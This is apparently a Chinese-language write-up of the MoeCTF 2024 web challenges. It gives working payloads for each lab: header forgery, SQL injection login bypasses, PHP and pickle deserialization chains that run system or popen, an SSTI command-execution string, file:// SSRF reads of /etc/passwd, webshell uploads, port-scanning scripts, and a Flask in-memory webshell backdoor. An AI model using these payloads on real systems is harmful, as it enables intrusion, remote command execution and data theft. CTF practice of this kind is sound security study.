MoeCTF 2024 wp
# Web渗透测试与审计入门指北
下载题目附件,一份web新手入门指北,根据pdf指引,再下载另一个附件,本地下载phpstudy,搭个web网站访问首页就给flag
# 弗拉格之地的入口
打开题目提示有一种生物,名为爬虫,它能带领各位找到那里
,一个web基础,robots.txt爬虫协议
,新手可以看如何使用robots.txt及其详解 (opens new window)
在robots.txt中会放一些敏感目录,避免搜索引擎爬虫
访问这些内容,一些情况下,变成了引路人
访问robots.txt
的敏感文件,拿到flag
# 垫刀之路01: MoeCTF?启动!
题目送了一个shell,如果能学习一点linux,挺好做的,基础的命令要会
ls /
查看根目录下文件,一个flag文件,cat /flag
查看flag内容,flag内容不再这里哦。 你可以检查一下环境变量这个东西
,
用env
命令查看环境变量
# ez_http
关于http报文字段相关用hackbar比较方便
需要post方法访问,post随便传一个a=1
,提示post传imoau=sb
,把a=1
换成imoau=sb
提示要GET传参xt=大帅b
,在url后面加上?xt=大帅b
提示来源必须是https://www.xidian.edu.cn/
,在hackbar右侧添加referer
字段,值是https://www.xidian.edu.cn/
提示cookie:user=admin
,在hackbar右侧添加cookie
字段,值是user=admin
提示使用MoeDedicatedBrowser
浏览器,在hackbar右侧添加user-agent
字段,值是MoeDedicatedBrowser
提示只能本地访问,伪造ip有很多字段,这里用x-forwarded-for
字段,值是127.0.0.1
# ProveYourLove
题目主要js部分,会限制只能提交一份表白
点击查看
<script>
document.addEventListener('DOMContentLoaded', function() {
// 获取当前表白份数
fetch('/confession_count')
.then(response => response.json())
.then(data => {
document.getElementById('confessionCount').textContent = data.count;
document.getElementById('flag').textContent = data.flag;
document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
})
.catch(error => {
console.error('Error:', error);
});
});
document.getElementById('confessionForm').addEventListener('submit', function(event) {
event.preventDefault(); // 阻止表单的默认提交行为
// 检查设备是否已提交过表白
if (localStorage.getItem('confessionSubmitted')) {
alert('您已经提交过表白,不能重复提交。');
return;
}
// 发起 OPTIONS 请求
fetch('/questionnaire', {
method: 'OPTIONS'
})
.then(response => {
if (!response.ok) {
throw new Error('OPTIONS 请求失败');
}
// 获取表单数据
const formData = new FormData(event.target);
const data = {};
formData.forEach((value, key) => {
data[key] = value;
});
// 提交表白数据
return fetch('/questionnaire', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
})
.then(response => response.json())
.then(result => {
if (result.success) {
alert('表白提交成功!');
localStorage.setItem('confessionSubmitted', 'true');
// 更新表白份数
fetch('/confession_count')
.then(response => response.json())
.then(data => {
document.getElementById('confessionCount').textContent = data.count;
document.getElementById('flag').textContent = data.flag;
document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
})
.catch(error => {
console.error('Error:', error);
});
} else {
alert('表白提交失败,请稍后重试。');
}
})
.catch(error => {
console.error('Error:', error);
});
});
</script>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
在控制台重写一下这个js,去掉重复提交的判断,补充个循环,让他直接发300份。填好信息,点击提交就可以发300份了,要稍等一会才能发完
点击查看
document.addEventListener('DOMContentLoaded', function() {
// 获取当前表白份数
fetch('/confession_count')
.then(response => response.json())
.then(data => {
document.getElementById('confessionCount').textContent = data.count;
document.getElementById('flag').textContent = data.flag;
document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
})
.catch(error => {
console.error('Error:', error);
});
});
document.getElementById('confessionForm').addEventListener('submit', function(event) {
event.preventDefault(); // 阻止表单的默认提交行为
for(let n=0;n<301;n++) {
// 发起 OPTIONS 请求
fetch('/questionnaire', {
method: 'OPTIONS'
})
.then(response => {
if (!response.ok) {
throw new Error('OPTIONS 请求失败');
}
// 获取表单数据
const formData = new FormData(event.target);
const data = {};
formData.forEach((value, key) => {
data[key] = value;
});
// 提交表白数据
return fetch('/questionnaire', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
})
.then(response => response.json())
.then(result => {
if (result.success) {
// alert('表白提交成功!');
localStorage.setItem('confessionSubmitted', 'true');
// 更新表白份数
fetch('/confession_count')
.then(response => response.json())
.then(data => {
document.getElementById('confessionCount').textContent = data.count;
document.getElementById('flag').textContent = data.flag;
document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
})
.catch(error => {
console.error('Error:', error);
});
} else {
alert('表白提交失败,请稍后重试。');
}
})
.catch(error => {
console.error('Error:', error);
});
}});
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# 弗拉格之地的挑战
查看源码,拿到flag第一部分bW9lY3Rm
,和第二题flag2hh.php
到题目第二关flag2hh.php
,什么信息都没有,本地抓包抓不到,用bp自带的浏览器页面,在响应信息里可以看到第二段flage0FmdEV
,以及第三关/flag3cad.php
第三关,可以在cookie里找到verify:user
的键值对,在hackbar里改成verify:admin
,拿flag第三部分yX3RoMXN
,以及第四关/flag4bbc.php
第四关,提示不是从http://localhost:8080/flag3cad.php?a=1
过来的,伪造一下来源,跳到另一个页面,f12大法,修改html源码,在控制台拿下第四一段flagfdFVUMHJ
,以及第五关/flag5sxr.php
第五关,要求提交I want flag
,点击提交,有个碍事的js函数拦截了,在控制台重写这个函数,把他写成空,拿到第五段flagfSV90aDF
第六关,同时提交get,post变量moe
,第一个正则要求不能匹配到小写flag
,第二个正则不区分大小写的匹配flag
,所以可以传个大写FLAG
,拿到第六段flagrZV9VX2t
第七关,给了一个shell,在根目录下找到第七段flagrbm93X1dlQn0=
最后,把七段flag拼在一起,base64解码得到最后的flag
# ImageCloud前置
分析题目部分源码,还以为是include文件包含读取/etc/passwd
<?php
$url = $_GET['url'];
$ch = curl_init();
$res = curl_exec($ch);
?>
2
3
4
5
curl_exec
函数不能直接访问本地文件,用一个file://
协议读/etc/passwd
# 垫刀之路02: 普通的文件上传
没有过滤,上传php木马,查看环境变量
# 垫刀之路03: 这是一个图床
php木马扩展名改成图片类型上传,bp抓包改回php。对了抓包可能要用bp自带的浏览器,不然可能抓不到本地的请求
# 垫刀之路05: 登陆网站
万能密码username=admin123'or 1='1&password=1
,存在sql注入漏洞
sql语句没有过滤,直接拼接'or 1=1#
登录就可以
# 垫刀之路06: pop base mini moe
在B类的__invoke()
方法里,存在动态函数调用$s($c);
本地调试一下,可以执行命令
<?php
$a = 'system';
$b = 'time';
# The current time is: 0:56:34.09
$a($b);
?>
2
3
4
5
6
把属性改成public生成payload,手动修改private属性的修饰符%00
,以及private属性的长度
<?php
class A {
public $evil;
public $a;
}
class B {
public $b;
}
$payload = new A();
$payload -> a = new B();
$payload -> evil = "cat /flag";
$payload -> a -> b = "system";
echo serialize($payload);
# ?data=O:1:%22A%22:2:{s:7:%22%00A%00evil%22;s:3:%22env%22;s:4:%22%00A%00a%22;O:1:%22B%22:1:{s:4:%22%00B%00b%22;s:6:%22system%22;}}
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 垫刀之路07: 泄漏的密码
第一次遇到白给的flask pin码,爱了爱了。拿pin码到/console
路由的控制台直接拿python shell
点击查看
[console ready]
>>> import os
>>> os.popen('cat /flag').read()
'远在天边,近在眼前啊'
>>> os.popen('env').read()
'KUBERNETES_SERVICE_PORT=443\nKUBERNETES_PORT=tcp://10.43.0.1:443\nHOSTNAME=ret2shell-119-11100\nPYTHON_PIP_VERSION=23.0.1\nSHLVL=2\nHOME=/root\nGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D\nWERKZEUG_SERVER_FD=4\nPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/66d8a0f637083e2c3ddffc0cb1e65ce126afb856/public/get-pip.py\nWERKZEUG_RUN_MAIN=true\nKUBERNETES_PORT_443_TCP_ADDR=10.43.0.1\nPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nKUBERNETES_PORT_443_TCP_PORT=443\nKUBERNETES_PORT_443_TCP_PROTO=tcp\nLANG=C.UTF-8\nPYTHON_VERSION=3.10.14\nPYTHON_SETUPTOOLS_VERSION=65.5.1\nKUBERNETES_SERVICE_PORT_HTTPS=443\nKUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443\nKUBERNETES_SERVICE_HOST=10.43.0.1\nPWD=/app\nPYTHON_GET_PIP_SHA256=6fb7b781206356f45ad79efbb19322caa6c2a5ad39092d0d44d0fec94117e118\nFLAG=fake_flag\n'
>>> os.popen('ls /').read();
'app\nbin\ndev\netc\nflag\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'
>>> os.popen('ls').read();
'__pycache__\napp.py\nflag\ngetPIN.py\nstatic\ntemplates\n'
>>> os.popen('cat *').read();
'import os\n\nfrom flask import Flask, render_template, request, session\nfrom getPIN import get_pin\n\napp = Flask(__name__)\napp.secret_key = os.urandom(24)\npin = get_pin()\n\n\n\n@app.route(\'/\')\ndef index():\n return render_template(\'index.html\', pin=pin)\n\n\nif __name__ == "__main__":\n app.run(debug=True, host=\'0.0.0.0\', port=80)\n # print(get_pin())\nmoectf{DonT-UslNG-fI4Sk-bY-d3buG_MoD_And_le@K_Y0Ur_PiN11}import hashlib\nfrom itertools import chain\nimport uuid\ndef get_pin():\n probably_public_bits = [\n # \'ctf\'# username /proc/self/environ\n \'root\',\n \'flask.app\',# modname\n \'Flask\',# getattr(app, \'__name__\', getattr(app.__class__, \'__name__\'))\n # \'/usr/local/lib/python3.9/site-packages/flask/app.py\' # getattr(mod, \'__file__\', None),\n \'/usr/local/lib/python3.10/site-packages/flask/app.py\' # getattr(mod, \'__file__\', None),\n ]\n uuid1 = str(uuid.getnode())\n linux = b""\n\n # machine-id is stable across boots, boot_id is not.\n for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":\n try:\n with open(filename, "rb") as f:\n value = f.readline().strip()\n except OSError:\n continue\n\n if value:\n linux += value\n break\n\n # Containers share the same machine id, add some cgroup\n # information. This is used outside containers too but should be\n # relatively stable across boots.\n try:\n with open("/proc/self/cgroup", "rb") as f:\n linux += f.readline().strip().rpartition(b"/")[2]\n except OSError:\n pass\n linux = linux.decode(\'utf-8\')\n private_bits = [\n uuid1,\n linux,\n ]\n h = hashlib.sha1()\n for bit in chain(probably_public_bits, private_bits):\n if not bit:\n continue\n if isinstance(bit, str):\n bit = bit.encode("utf-8")\n h.update(bit)\n h.update(b"cookiesalt")\n\n cookie_name = f"__wzd{h.hexdigest()[:20]}"\n\n num = None\n if num is None:\n h.update(b"pinsalt")\n num = f"{int(h.hexdigest(), 16):09d}"[:9]\n\n rv=None\n if rv is None:\n for group_size in 5, 4, 3:\n if len(num) % group_size == 0:\n rv = "-".join(\n num[x : x + group_size].rjust(group_size, "0")\n for x in range(0, len(num), group_size)\n )\n break\n else:\n rv = num\n\n return rv\n'
>>>
2
3
4
5
6
7
8
9
10
11
12
13
# 垫刀之路04: 一个文件浏览器
这题太有意思了。在首页的readme和src目录下的readme文件提示这些文件夹没有用,另外一个txt文件没有flag,那么明显flag不在我们现在看到的首页文件夹里。这题考察了一个目录穿越问题,不允许你直接访问/
根目录,访问根目录就是访问当前目录,所以需要通过目录穿越来访问根目录
最后可以在/tmp/flag
找到flag
# 静态网页
bp自带浏览器抓包,查看每一个数据包时,在/api/get/?id=1-53
里拿到了flag:php文件,进入php文件
md5的结果是字符串,post传参也是字符串,把$a
的值作为$b
的索引,把$a
的md5值给$b
就可以满足条件了。这一题很巧妙,通过精心构造,可以拿到payload
?a=0a
b[0a]=e99bb33727d338314912e86fbdec87af
这道题加深了数组的理解,太强了!
# 电院_backend
在robots.txt
里有敏感目录/admin/
路由,访问是一个登录页面。看题目附件源码和题目js,verify.php
页面会生成一个验证码,js会提交email,password,verify_code
这样数据到/admin/login.php
通过审计源码,可以发现存在sql注入漏洞。这个正则会尝试检查email
变量里是否含有一个邮箱的格式,或者是否存在or
这个正则有点漏洞,只要email
变量里可以匹配到邮箱格式,不含有or,那么这个正则就绕过去了
$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}
2
3
4
5
6
在后一部分中有flag的处理逻辑,只要查询结果不为0,就会爆flag。管理员邮箱我们不知道,那就使用联合查询,查点其他内容
email=admin@qq.com'union select *from admin#&password=11&verify_code=d2a4
if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
}
2
3
4
5
# pop moe
简单的链子,思路
通过反序列化后自动触发的方法class000:__destruct
作为开始,__destruct
调用check方法,把属性$this-what
赋值给$a,作为函数名调用了,可以把$this-what
赋值为class001
的对象,把对象当函数调用触发class001:__invoke
方法
在invoke
方法里,把$this->payl10ad
赋值给$this->a->payload
,如果$this->a
是一个class002
的对象,就会因为不存在$payload
属性触发class002:__get
方法
参数$this->a->payload
,$this->pay10ad
传给set方法,这样class002
类会添加这个属性,如果这个属性值是dangerous
,下面动态调用函数$this->$b($this->sec);
把$this->sec
赋值为class003
类的对象,既可以因为dangerous
方法把他当字符串,触发__tostring
方法,$this->mystr
作为字符串返回,也可以为后面触发evvval方法做铺垫,执行$this->mystr
的值
先改public打出payload,再手动添加权限修饰符
exp
$payload = new class000();
$payload -> pay10ad = 1;
$payload -> what = new class001();
$payload -> what -> payl0ad = "dangerous";
$payload -> what -> a = new class002();
$payload -> what -> a -> sec = new class003();
$payload -> what -> a -> sec -> mystr = "system('env');";
echo serialize($payload);
# O:8:"class000":3:{s:17:"%00class000%00payl0ad";i:1;s:7:"%00*%00what";O:8:"class001":2:{s:7:"payl0ad";s:9:"dangerous";s:1:"a";O:8:"class002":1:{s:13:"%00class002%00sec";O:8:"class003":1:{s:5:"mystr";s:14:"system('env');";}}}s:7:"pay10ad";i:1;}
2
3
4
5
6
7
8
9
# 勇闯铜人阵
看题目的图片,数字对应的方向,写一个python脚本,用正则匹配给出的数字,构造payload,提交
import re
import time
import requests
url = "http://127.0.0.1:51723/"
data = {
"player":"1",
"direct":"弟子明白"
}
s = requests.session()
resp = s.post(url,data=data)
direct_dict = {
"1":"北方",
"2":"东北方",
"3":"东方",
"4":"东南方",
"5":"南方",
"6":"西南方",
"7":"西方",
"8":"西北方"
}
for n in range(5):
# 使用正则表达式匹配<h1>标签中的数字
pattern = r'<h1 id="status">\s*(\d)(?:,\s*(\d+))?\s*</h1>'
matches = re.findall(pattern, resp.text)
num = []
for match in matches:
num.append(int(match[0]))
if match[1]:
num.append(int(match[1]))
print(num)
payload = ''
if len(num) == 1:
payload = direct_dict[f"{num[0]}"]
print(payload)
elif len(num) == 2:
payload = direct_dict[f"{num[0]}"] + "一个," + direct_dict[f"{num[1]}"] + "一个"
print(payload)
data = {
"player":'1',
"direct":payload,
}
resp = s.post(url,data=data)
print(resp.text)
time.sleep(0.1)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# who's blog?
在首页通过get传参id,可以发现存在ssti模板注入,好像没有过滤,一路直接打过去了
?id={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('env').read()}}
# ImageCloud
这个题太有意思了,第一次这样审计python源码
在题目中,点明了跑了两个服务,一个内部云,一个外部云。那么我们能看到的无疑就是外部云了,通过url的请求确定是app.py
文件的源码
,所以app2.py
就是内部云的源码
主要区别:
内部云app2.py
,通过/image/<filename>
路由,访问uploads/
目录下的filename
文件
@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404
2
3
4
5
6
7
8
外部云app.py
,通过get参数url
访问static目录下的文件,我们上传的图片也只能通过外部云访问,如果能通过ssrf找到内部云端口,可以利用外部云调用内部云/image/<filename>
接口访问uploads/flag.jpg
@app.route('/image', methods=['GET'])
def load_image():
url = request.args.get('url')
if not url:
return 'URL 参数缺失', 400
try:
response = requests.get(url)
response.raise_for_status()
img = Image.open(BytesIO(response.content))
img_io = BytesIO()
img.save(img_io, img.format)
img_io.seek(0)
return send_file(img_io, mimetype=img.get_format_mimetype())
except Exception as e:
return f"无法加载图片: {str(e)}", 400
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
关键部分,这里可以看到,端口随机开的。怀着愧疚之心狠狠的爆破了一下,因为内部外部云在同一目录,所以利用外部云的url访问内部云
通过回显不同,发现内部云跑在了5043
端口
if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
port = find_free_port_in_range(5001, 6000)
app.run(host='0.0.0.0', port=port)
2
3
4
5
简单爆破脚本,内部云的路径是随便写的,能返回无法加载图片: 404 Client Error: NOT FOUND for url: http://localhost:5122/uploads/flag
和无法加载图片: HTTPConnectionPool(host='localhost', port=5432): Max retries exceeded with url: /uploads/flag.jpg (Caused by NewConnectionError(': Failed to establish a new connection: [Errno 111] Connection refused'))
或者静态目录下存在的文件,可以确定端口,
回显可以区别开就行
import time
import requests
for i in range(5000,6000):
url = f"http://127.0.0.1:60084/image?url=http://localhost:{i}/static/0_11.png"
resp = requests.get(url)
print(resp.text)
time.sleep(0.1)
2
3
4
5
6
7
8
9
# PetStore
太强了太强了!!做起来太爽了,强烈强烈强烈强烈建议这题拿到附件在本地跑一下,用pycharm打断点,看看反序列化哪里问题,不然根本看不出来。
讲一下官方做法,通过反序列化执行命令,直接命令执行利用store.create_pet()
方法,把命令执行的结果作为pet
对象的参数传进去了
import pickle
import base64
class A():
def __reduce__(self):
return exec(,("import os;store.create_pet(os.popen('ls').read(),'flag')"))
pet = A()
serialized_pet = pickle.dumps(pet)
print(serialized_pet)
2
3
4
5
6
7
8
9
10
11
下面讲讲我的思路,因为没有想到通过执行命令把结果作为参数来创建对象,所以我的测试过程没有回显,思路有点偏,注册动态路由打了一个内存马。
审计源码,发现反序列化漏洞,通过本地重写__reduce__
方法,构造payload
,打过去
漏洞部分pet = pickle.loads(pet_data)
def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception as e:
print(e)
return False
2
3
4
5
6
7
8
9
10
11
12
13
14
15
因为提交反序列化的payload后,服务器返回{"error":"Failed to import pet"}
,一直不成功,折腾了一会老实了,拿到pycharm本地调试,发现题目确实反序列化了,只是反序列化的结果是eval导入的popen函数,不再是要求的对象,所以报错,不过没关系,提交的payload他都执行了,只是没有回显
断点调试找到问题,可以看到,反序列化后,pet是一个函数对象,已经执行了命令,由于不再是Pet对象,所以抛出异常返回false,最后页面打印了{"error": "Failed to import pet"}
,所以说,这里反序列化命令执行是成功的,只是没有回显
考虑到题目环境没有导入os库,使用eval函数动态导入一下。因为题目不能出网,又没有回显,翻了很多文章,找到gxngxngxn师傅
一篇关于注册动态路由、内存马的文章新版FLASK下python内存马的研究 (opens new window)
exp
import pickle
import base64
import uuid
class A():
def __reduce__(self):
# 生成内存马,get参数cola
return (eval, (
"__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cola')).read())",))
pet = A()
serialized_pet = pickle.dumps(pet)
print(serialized_pet)
# gASVwwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIynX19pbXBvcnRfXygic3lzIikubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSA6X19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdjb2xhJykpLnJlYWQoKSmUhZRSlC4=
print(base64.b64encode(serialized_pet))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
最后url/import?cola=env
拿到flag